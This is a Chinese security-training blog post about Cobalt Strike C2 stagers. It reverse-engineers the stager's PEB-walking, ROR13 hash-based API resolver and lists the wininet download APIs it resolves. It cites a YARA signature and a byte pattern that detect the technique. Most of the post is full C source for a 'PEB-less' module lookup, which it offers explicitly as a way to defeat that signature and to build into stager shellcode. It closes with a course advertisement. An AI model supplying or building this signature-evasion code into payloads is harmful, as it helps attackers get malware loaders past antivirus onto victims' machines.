请赶紧重写你的C2 Stager,立刻!马上!

文摘   2025-01-10 17:00   四川  

故事源自于:


我们知道多数的C2框架都有 Staged 或 Stageless payload之分;Staged是一段小型程序,只有一个用途,即从服务器下拉payload。Stageless是完整的payload,具有内置安全性,无需拉下任何其他内容

在Cobalt Strike中,stager主要负责远程加载Beacon.dll。具体实现形式通过逆向可以得到:

 xor rdx,rdx
 mov rdx,qword ptr gs:[rdx+60]      | 查找PEB
| mov rdx,qword ptr ds:[rdx+18]      | 查找LDR链表
| mov rdx,qword ptr ds:[rdx+20]      | 访问InMemoryOrderModuleList链表
| mov rsi,qword ptr ds:[rdx+50]      | 将模块名称存入rsi寄存器
| movzx rcx,word ptr ds:[rdx+4A]     | 将模块名称长度存入rcx寄存器(unicode)
| xor r9,r9                          | 
| xor rax,rax                        |
| lodsb                              | 逐字符读入模块名称
| cmp al,61                          | 判断大小写
| jl A0037                           | 大写则跳转
| sub al,20                          | 如果是小写就转换为大写
| ror r9d,D                          | ROR13加密计算
| add r9d,eax                        | 将计算得到的hash值存入R9寄存器
| loop A002D                         | 循环计算
| push rdx                           |
| push r9                            | 
| mov rdx,qword ptr ds:[rdx+20]      | 找到模块基地址
| mov eax,dword ptr ds:[rdx+3C]      | 找到0x3C偏移(PE标识)
| add rax,rdx                        | rax指向PE标识
| cmp word ptr ds:[rax+18],20B       | 判断OptionHeader结构的Magic为是否为20B(PE32+)
| jne A00C7                          |
| mov eax,dword ptr ds:[rax+88]      | 将导出表RVA赋值给eax寄存器
| test rax,rax                       |
| je A00C7                           |
| add rax,rdx                        | 模块基址+导出表RVA=导出表VA
| push rax                           |
| mov ecx,dword ptr ds:[rax+18]      | 将导出函数的数量赋值给ecx寄存器
| mov r8d,dword ptr ds:[rax+20]      | 将导出函数的起始RVA赋值给R8寄存器
| add r8,rdx                         | 导出函数的起始VA
| jrcxz A00C6                        |
| dec rcx                            |
| mov esi,dword ptr ds:[r8+rcx*4]    | 从后向前获取导出函数的RVA
| add rsi,rdx                        | 当前导出函数的VA
| xor r9,r9                          | 
| xor rax,rax                        |
| lodsb                              | 逐字符读入导出函数名
| ror r9d,D                          | ROR13加密运算
| add r9d,eax                        | 计算的hash存入R9
| cmp al,ah                          | 字符串最后一位为0,此时al、ah均为0,循环结束
| jne A007D                          | 不为0,继续运算
| add r9,qword ptr ss:[rsp+8]        | 将模块hash与函数hash求和
| cmp r9d,r10d                       | 运算结果与要查找的函数hash(R10)进行比较
| jne A006E                          | 没找到则跳回去继续找
| pop rax                            |

会不断循环以上的汇编代码通过字符串hash依次查找以下Api函数:

0x0726774C => LoadLibraryA
0xA779563A => InternetOpenA
0xC69F8957 => InternetConnectA
0x3B2E55EB => HttpOpenRequestA
0x7B18062D => HttpSendRequestA
0xE553A458 => VirtualAlloc
0xE2899612 => InternetReadFile

然后调用wininet.dll的一系列API去服务器下拉文件


虽然实战中很少会用到stager,但是你知道的,总有......


stager不经过任何处理会被轻易的扫出来,特别是所有C2 stager基本上都会被标记一个静态签名: Windows_Trojan_Metasploit_7bc0f998 

https://bazaar.abuse.ch/browse/yara/CobaltStrike__Resources_Httpsstager64_Bin_v3_2_through_v4_x/



What is this?

反汇编这个yara里的特征码:


这段汇编代码其实就是最常见的遍历PEB进行模块解析以获取Win32API。


为什么要遍历PEB?这里还是给基础薄弱的师傅解释一下:

在典型的可执行文件中,外部符号引用通过以下两种方式之一引入进来:要么由加载程序在启动时通过遍历可执行文件的导入目录来解析,要么在运行时使用 GetProcAddress 动态解析它们

而Shellcode 既不能由操作系统直接加载,也不能直接调用 GetProcAddress,因为它根本不知道 kernel32!GetProcAddress 的地址是什么。

为了解析库函数的地址,shellcode 必须自行解析函数名称。这通常在 shellcode 中使用一个函数来实现,该函数接受模块和函数哈希,获取 PEB(进程环境块)地址,遍历已加载模块的链接列表,扫描每个模块的导出目录,对每个函数名称进行哈希处理,将其与提供的哈希进行比较,如果匹配,则通过将其 RVA 添加到已加载模块的基址来计算函数地址。


在 x64 Windows 上,PEB 是一种可使用gs段寄存器访问的数据结构。该结构包含已加载模块及其相关信息的链接列表。

  1. 从中gs:0x60检索进程环境块 (PEB) 。

  2. 从 PEB 的 LoaderData 中获取 InMemoryOrderModuleList 

  3. 从 InMemoryOrderModuleList 中的第一个条目开始初始化一个循环,遍历列表

  4. 在每次迭代中,根据列表条目地址计算当前模块的 LDR_MODULE 结构的地址。

  5. 检查LDR_MODULE的 BaseDllName.Buffer 是否为 NULL:

  6. 比较BaseDllName,如果匹配,则返回 BaseAddress


监控:

对访问 PEB 或 TEB 的代码的一种非常简单的检测是将可疑代码与 gs 段寄存器的移动操作的模式匹配(mov register, gs:[0x60])。示例:

65 48 8b * 25 60 00 00 00 00 ; PEB
65 48 8b * 25 30 00 00 00 00 ; TEB 

如何消除签名特征?

在内存中向后搜索模块的基址,而不依赖于 API 调用或进程环境块 (PEB)

#include <Windows.h>

// Convenience types
#define QWORD                   DWORD64
#define QWORD_PTR               DWORD64 *

#define MAX_VISITED             124

extern "C" QWORD_PTR GetInstructionPointer();


PVOID FindByteSig(PVOID SearchBase, PVOID Sig, INT EggSize, INT Bound, BOOL Rev)
{
    if (!Rev)
    {
        for (INT i = 0; i < Bound; i++)
        {
            if (!memcmp(&((PBYTE)SearchBase)[i], Sig, EggSize))
            {
                return &((PBYTE)SearchBase)[i];
            }
        }
    }
    else {
        for (INT i = 0; i < Bound; i++)
        {
            if (!memcmp(&((PBYTE)SearchBase)[-i], Sig, EggSize))
            {
                return &((PBYTE)SearchBase)[-i];
            }
        }
    }

    return NULL;
}

// Compare a module's reported name (Optional directory) to a string
BOOL CheckModNameByExportDir(PBYTE BaseAddr, PCHAR ModName)
{
    DWORD                   ExportDirRVA    = NULL;
    DWORD                   NameRVA         = NULL;
    PCHAR                   Name            = NULL;
    SIZE_T                  NameLength      = NULL;
    PIMAGE_DOS_HEADER       pDosHeader      = NULL;
    PIMAGE_NT_HEADERS       pNtHeaders      = NULL;
    PIMAGE_EXPORT_DIRECTORY pExportDir      = NULL;

    pDosHeader = (PIMAGE_DOS_HEADER)BaseAddr;
    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;

    pNtHeaders = (PIMAGE_NT_HEADERS)(BaseAddr + pDosHeader->e_lfanew);
    if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) return FALSE;

    ExportDirRVA = pNtHeaders->OptionalHeader.
        DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (ExportDirRVA == 0) return FALSE;

    pExportDir = (PIMAGE_EXPORT_DIRECTORY)(BaseAddr + ExportDirRVA);

    NameRVA = pExportDir->Name;
    if (NameRVA == 0) {
        return FALSE; // No name
    }

    Name = (PCHAR)(BaseAddr + NameRVA);
    NameLength = strlen(Name);

    if (strcmp(ModName, Name) == 0)
    {
        return TRUE;
    }
    
    return FALSE;
}

// Given a base address, find the first import from a given DLL
QWORD_PTR FindFirstModuleImport(PBYTE MzLoc, PCHAR ModName)
{
    CHAR                        CurrentName[MAX_PATH];
    PIMAGE_DOS_HEADER           pDosHeader = NULL;
    PIMAGE_NT_HEADERS           pNtHeaders = NULL;
    PIMAGE_OPTIONAL_HEADER      pOptHeader = NULL;
    PIMAGE_IMPORT_DESCRIPTOR    pImportDesc = NULL;
    PCHAR                       pImportName = NULL;
    PIMAGE_THUNK_DATA           pThunk = NULL;
    PIMAGE_THUNK_DATA           pIATThunk = NULL;

    // Initialize locals
    pDosHeader = (PIMAGE_DOS_HEADER)MzLoc;

    // Validate DOS header
    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;

    // Initialize NT Headers
    pNtHeaders = (PIMAGE_NT_HEADERS)(MzLoc + pDosHeader->e_lfanew);

    // Validate PE header
    if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
        return NULL;

    // Initialize Optional Header
    pOptHeader = &pNtHeaders->OptionalHeader;

    // Initialize Import Descriptor
    pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(
        MzLoc
        + pOptHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
        .VirtualAddress);

    while (pImportDesc && pImportDesc->Name)
    {
        pImportName = (PCHAR)(MzLoc + pImportDesc->Name);

        if (pImportName)
        {
            strcpy_s(CurrentName, sizeof(CurrentName), pImportName);
            for (int i = 0; CurrentName[i]; i++) {
                CurrentName[i] = (CHAR)tolower((unsigned char)CurrentName[i]);
            }
            if (strcmp(CurrentName, ModName) == 0)
            {
                // Get the OriginalFirstThunk
                pThunk = (PIMAGE_THUNK_DATA)(
                    MzLoc + pImportDesc->OriginalFirstThunk);
                // Get the corresponding entry in the IAT
                pIATThunk = (PIMAGE_THUNK_DATA)(
                    MzLoc + pImportDesc->FirstThunk);

                if (pThunk && pIATThunk) // Check if thunks are valid
                {
                    // Return the full VA of the first function
                    return (QWORD_PTR)(pIATThunk->u1.Function);
                }
            }
        }
        pImportDesc++;
    }

    return NULL;
}

// Function to check if a module has already been visited
bool IsModuleVisited(PVOID* Visited, int nVisited, PVOID ModBase) {
    for (int i = 0; i < nVisited; i++) {
        if (Visited[i] == ModBase) {
            return true;
        }
    }
    return false;
}

PVOID PeblessFindModuleRecursively(
    PBYTE   StartAddr, 
    PCHAR   ModName, 
    PVOID*  Visited, 
    PINT    nVisited) 
{
    DWORD                       ImportDirRVA            = NULL;    
    PCHAR                       pModuleName             = NULL;
    PVOID                       FirstImport             = NULL;
    PVOID                       FoundBase               = NULL;
    PIMAGE_DOS_HEADER           pDosHeader              = NULL;
    PIMAGE_NT_HEADERS           pNtHeaders              = NULL;
    PIMAGE_OPTIONAL_HEADER      pOptionalHeader         = NULL;
    PIMAGE_IMPORT_DESCRIPTOR    pImportDesc             = NULL;
    CHAR                        CurrentName[MAX_PATH] = { NULL };

    BYTE MzSig[5] = { 0x4D, 0x5A, 0x90, 0x00, 0x03 };
        

    if (IsModuleVisited(Visited, *nVisited, StartAddr)) {
        return NULL;  // Avoid infinite recursion
    }

    Visited[*nVisited] = StartAddr;
    (*nVisited)++;

    if (CheckModNameByExportDir(StartAddr, ModName)) {
        return StartAddr;
    }

    pDosHeader = (PIMAGE_DOS_HEADER)StartAddr;
    pNtHeaders = (PIMAGE_NT_HEADERS)(StartAddr + pDosHeader->e_lfanew);
    pOptionalHeader = &pNtHeaders->OptionalHeader;
    ImportDirRVA = pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(StartAddr + ImportDirRVA);

    while (pImportDesc->Name) {
        pModuleName = (char*)(StartAddr + pImportDesc->Name);
        strcpy_s(CurrentName, sizeof(CurrentName), pModuleName);
        for (INT i = 0; CurrentName[i]; i++) {
            CurrentName[i] = (CHAR)tolower((unsigned char)CurrentName[i]);
        }

        FirstImport = FindFirstModuleImport(StartAddr, CurrentName);
        if (!FirstImport) {
            pImportDesc++;
            continue;
        }

        FoundBase = FindByteSig(
            FirstImport, MzSig, sizeof(MzSig), 0xFFFFF, TRUE);

        if (FoundBase) {
            FoundBase = PeblessFindModuleRecursively(
                (PBYTE)FoundBase, ModName, Visited, nVisited);
            if (FoundBase) {
                return FoundBase;
            }
        }

        pImportDesc++;
    }

    return NULL;
}

// Get a module base address without using the PEB
// NOTE: Does not locate libraries loaded with LoadLibrary
PVOID PeblessGetModuleHandle(PCHAR szModuleName) {
    PVOID   Visited[MAX_VISITED]    = { NULL };
    PBYTE   StartAddr       = NULL;
    INT     nVisited        = 0;
    BYTE    MzSig[5]        = { 0x4D, 0x5A, 0x90, 0x00, 0x03 };

    QWORD_PTR RIP = (QWORD_PTR)GetInstructionPointer();

    StartAddr = (PBYTE)FindByteSig(
        (PVOID)RIP, MzSig, sizeof(MzSig), 0xFFFFF, TRUE);

    if (szModuleName == NULL) return StartAddr;

    return PeblessFindModuleRecursively(
        StartAddr, szModuleName, Visited, &nVisited);
}

// Program entry point
INT main()
{
    PVOID BaseNtdll = PeblessGetModuleHandle((PCHAR)"ntdll.dll");
    if (!BaseNtdll) return ERROR_NOT_FOUND;

    PVOID BaseCurrent = PeblessGetModuleHandle(NULL);
    if (!BaseCurrent) return ERROR_NOT_FOUND;

    return 0;
}
快速编译集成到stager shellcode:

http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html

更多姿势知识星球:

老鑫安全
培训联系方式VX:laoxinsec,论坛:https://www.laoxinsec.com。B站:老鑫安全、老鑫安全培训、老鑫安全二进制。 知识星球:老鑫安全。 专注于渗透测试,红蓝对抗,漏洞挖掘等安全技术培训。
 最新文章